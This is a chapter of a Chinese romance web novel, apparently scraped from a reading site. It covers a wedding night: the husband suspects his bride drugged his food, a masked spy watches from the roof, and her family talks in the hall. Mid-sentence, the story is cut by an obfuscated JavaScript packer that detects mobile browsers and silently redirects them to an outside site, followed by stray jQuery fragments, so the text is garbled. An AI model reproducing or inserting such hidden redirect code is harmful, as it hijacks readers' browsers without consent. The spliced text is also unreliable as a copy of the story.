谢咎抬眸,迎上一双虎视眈眈的目光,他压制着体内燥热的心绪,尽量用平缓的语气开口:“男女有别,我还是去睡地板。”他说完就准备起身找个凉快点的地方待着。
男女有别……他要不要听听自己在说什么?自己分明是八抬大轿、十里红妆把他迎进府,明媒正娶的夫君居然跟她说男女有别,这未免也太可笑了。
她招亲选婿本来就是成亲过日子的,难不成是招他进来吃闲饭?
思索间,百里芃早就预判到谢咎的意图,在他准备起身时一把将他推到,并翻身而上,她居高临下盯着谢咎的微微泛红的脸看得出神。
此刻,两张脸仅隔着一个拳头的距离,微热的气息吹拂在谢咎的脸庞,他微微侧头并转移了视线,百里芃如此直勾勾地盯着他,让他感觉瘆得慌,再加上胸口被压制住,他的气息也变得急促起来。
百里芃眼看着谢咎挪开的视线,她连忙伸手握住谢咎的脑袋,将他转回自己的面前。随后她又将脸往谢咎面前凑近了几分,居高临下打量着谢咎,一开口就中气十足:“今晚是我们的新婚夜,谁都不许睡地板,再明日太阳升起之前,我们都得一起躺在榻上,哪怕只是盖着被子纯聊天也行。”
孤男寡女躺在一张榻上……纯聊天?若不是谢咎对百里芃有过几番接触和了解,他差点就要信了她的鬼话!
所以谢咎一致认为,百里芃今晚的目的不单纯,虽然他们之前或许是有过那么一次荒唐事,但是谢咎明显感觉刚才百里芃给他吃的东西有问题,再者今晚又是毒发之夜,是万万不能与百里芃同床共枕!
就在谢咎出神之际,百里芃已经解下了外衫扔到红帐之外,连同谢咎先去褪下的外袍被一同丢了出去。
霎时间,衣服头饰透过红帐散落一地。
红帐内,百里芃仅着中衣双手支撑立于谢咎之上,体型丰腴的百里芃此刻女性特征十分明显。
温热的气息从谢咎的脸庞拂过,身体里的血液流动明显速度加快了,胸腔里扑腾不停的心脏似乎要从口中跳出来。
更奇怪的是,此刻面对百里芃,他竟然没有先前的排斥和反感。
疯了,他一定是疯了!
谢咎极力在心里给自己辩解,他什么场面没见过,倾城佳人都没放在眼里,如今这般胖成球的百里芃是断不可能入他的眼。
谢咎再次往向了桌上的食盒,一定是刚才的小菜有问题,她竟然给他下药了!
百里芃见谢咎许久没开口,以为他已经同意了刚才的提议,准备起身,因为手酸重心失控,她整个人直接砸在了谢咎的身上。
“噗……”如此重击,谢咎差点没吐出一口血来。好在百里芃反应够快,立即起身离开了他的胸膛。
但是在谢咎看来,今晚的百里芃不会这么规矩,他思索了片刻面露难色,幽幽的吐出一句话来:“那个,实不相瞒,其实我……我有隐疾……”为了自己的清白,豁出去了!
百里芃这才刚躺下,直接被谢咎的话炸开了锅。
“啥玩意?你再说一遍?”
“我本不想骗你,但现在迟早会露馅,还不如坦白于你。我以为招亲宴上你并非要选我,没想到你……”
百里芃看着面露难色的谢咎久久没有开口,试问哪位男子会在新婚之夜对怀中娇妻说不行?想到娇妻两个字她连连摇头,她打量了自己一圈,她跟娇妻是沾不了一点边。
当百里芃打量自己,看着身上的一层层赘肉时,忽悠明白了谢咎的用意,如果没猜错的话,一定是麦浪嫌弃她貌丑肥圆,故意找的借口。按照他上次在城门口所说的话,他们之前在那个月夜下,或许已经有了夫妻之实,怎么这会就不行了?
百里芃思来想去得出结论:一定是麦浪嫌弃自己在忽悠她!收回思绪后,百里芃忽然勾起嘴角,行不行,找个时间亲自检查一下不就知道了?但在这之前,得先打消他的顾虑。
于是百里芃故作失望,叹息一声:“就是白瞎了这副精壮的身躯,居然是个不能行人道的命,可惜啊可惜!”
不过转念一想,若是他说的是真的,那是不是也说明之前在西川月夜那晚是假的,一想到这里她倍感气愤。
就算麦浪是真的有病,但她有药啊!如果麦浪是真的不行,百里府坐拥无数家财,总能找到办法治好他隐疾,如若不然,也不是不可以休夫……
想得出神的百里芃颓废地躺在一侧,无意往天花板上看了一眼,发现屋顶似乎微微透光。不管怎样,至少先把今晚之事蒙混过关再说。
听着屋顶上传来窸窸窣窣的声响,百里芃便知道宫里的人不会善罢甘休。而谢咎亦是觉得沈元清也是心有不甘,派人前来一探究竟。
该怎么办才好呢?百里芃坐起身一边思索一边打量着周围的环境,试图寻找破解之法。
当百里芃看到被风吹起飘舞的红鸾纱帐,她脑海里顿时灵光一闪,随便翻身而起。
谢咎听闻到动静也立即翻身坐起,小心翼翼看向百里芃,生怕她来个“饿虎扑食”,殊不知,他的身体已经越发燥热,气息也比之前急了几分。
谢咎在百里芃有所行动之前率先开口:“百里姑娘,我现在恐怕……”
没等谢咎把话说完,百里芃就抬起手捂住了他的嘴,她将脸凑到谢咎面前,小声开口:“好了我知道你有病,若是想今晚相安无事,就闭上你的嘴!”百里芃瞪圆双眼警告着谢咎,随后又翻身与谢咎拉开距离后躺了下来。
忙碌了一天,百里芃早就累得不行,打算先闭目养神,可她并不敢直接睡着,屋顶上还有人在监视。
她的脑袋快速运转起来,一定要找到一个破解之法才行。
自百里芃躺下之后,周围一片安静,谢咎不可置信的看向了赫百里芃,红帐内一片昏暗,已经看不清她的脸。
谢咎抬起手小心翼翼地在百里芃面前晃了两下,百里芃并没有什么反应。
夜幕降临,屋内一片昏暗,屋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500145|170303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶之上身着夜行衣的蒙面男子此刻正趴在房顶,他小心翼翼揭开瓦片,试图透过瓦片间的缝隙一探屋内的情况。
当黑衣人透过瓦片缝隙往屋内看去才发现屋内一片漆黑,居然也十分安静。
在黑衣人看来,这也太不符合常理了,他抬头看了一眼天上的月色,算一下时间现在最晚也不过戌时,大多新人这个时候才刚拜完堂回到新房。再者,哪有新人成亲,新房内一盏烛火都没有。
“什么人?”正当黑衣人疑惑之际,发现他身影的流云在院内一声冷喝。
黑衣人发现被暴露后立即起身逃离,也因为动作偏大,瓦片发出了哗嚓的声音,流云见他要走也立刻追了过去。
夜幕渐渐深沉,屋外清风朗月,繁星点点。
新房内,百里芃原本想闭目养神休息片刻,期间一边劝诫着自己不能睡,而她的眼皮打架无数次后最终败下阵来。
清冷的月光透过屋顶的缝隙撒下,落在那张俊美的脸庞。
当百里芃的呼吸变得均匀时,一旁的谢咎早已不淡定,一张脸因为燥热变得泛红,紧皱的眉头周围冒出了汗珠。
谢咎侧头看了一眼已经睡着的百里芃,抬起手在她面前晃了晃,见她没有半点反应便坐起身朝着门口的方向喊了声流云的名字。
流云并没有如他预期的有所回应,谢咎拧紧眉头,稍微加大音量又喊了一声,周围除了吹进来的晚风,依旧一片安静。
“死去哪了?看我明天怎么收拾你。”谢咎一边喘着气一边低声咒骂,额头上的汗珠也多了起来。
也因为燥热,谢咎早已口干舌燥,想到百里芃已经熟睡,便解开了身上的衣物,想必有清凉的夜风吹拂或许能缓解身上的燥热。
百里府前厅内已经烛火明亮。
百里靖与百里殊父子二人唇枪舌战了好半天,才将风尘仆仆赶来的皇宫里的内官给打发走了。
百里靖一脸疲惫回到了主座位上,才刚落座就没忍住打了个哈欠。
“爹,夜色已深,要不你先回去休息?”百里殊看着父亲脸上的宽容不免有些心疼,自阿娘走了以后父亲一个人操持着这个家,也为了他们兄妹二人操了不少心。
百里靖深吸了口气调整自己刚才紧张的情绪,随后看向百里殊叮嘱道:“今晚怕是个不眠之夜,一定要打起精神来不要睡得太沉,另外也要加派人手盯着芃儿那边的动静,有任何风吹草动立刻来告诉我。”他说完缓缓起身走出大厅,百里殊站在原地看着父亲离去的背影,竟感觉他的身影似乎苍老了几分。
自百里靖离去后,宽敞的大厅内一片安静,百里殊依旧愣在原地,他抬头看向院内的夜色陷入了沉思。
如今妹妹的婚事也尘埃落定,虽然麦浪的样貌是有些不堪,但他若是品行端正,为人良善,日后定能与妹妹成为良缘佳话。
这样一来,他和父亲这么多年悬着的心也能放下,如果阿娘在天有灵,看到这一幕也能安息了吧。